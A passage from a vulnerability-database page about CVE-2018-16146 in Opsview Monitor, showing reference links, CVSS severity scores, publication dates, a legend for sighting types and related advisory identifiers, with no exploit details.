              "url": "https://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities"
            },
            {
              "name": "20180904 [CORE-2018-0008] - Opsview Monitor Multiple Vulnerabilities",
              "refsource": "FULLDISC",
              "tags": [
                "Exploit",
                "Mailing List",
                "Third Party Advisory"
              ],
              "url": "https://seclists.org/fulldisclosure/2018/Sep/3"
            },
            {
              "name": "https://knowledge.opsview.com/v5.4/docs/whats-new",
              "refsource": "CONFIRM",
              "tags": [
                "Vendor Advisory"
              ],
              "url": "https://knowledge.opsview.com/v5.4/docs/whats-new"
            }
          ]
        }
      },
      "impact": {
        "baseMetricV2": {
          "cvssV2": {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "SINGLE",
            "availabilityImpact": "COMPLETE",
            "baseScore": 9.0,
            "confidentialityImpact": "COMPLETE",
            "integrityImpact": "COMPLETE",
            "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
            "version": "2.0"
          },
          "exploitabilityScore": 8.0,
          "impactScore": 10.0,
          "obtainAllPrivilege": false,
          "obtainOtherPrivilege": false,
          "obtainUserPrivilege": false,
          "severity": "HIGH",
          "userInteractionRequired": false
        },
        "baseMetricV3": {
          "cvssV3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          },
          "exploitabilityScore": 1.2,
          "impactScore": 5.9
        }
      },
      "lastModifiedDate": "2019-10-03T00:03Z",
      "publishedDate": "2018-09-05T21:29Z"
    }
  }
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2018-16146 (GCVE-0-2018-16146)

GHSA-FH92-WM8W-XPMM

VAR-201809-0904

Switch to opsview user if run as root

id

FKIE_CVE-2018-16146

CNVD-2018-17453

GSD-2018-16146

Tags

Sightings

Nomenclature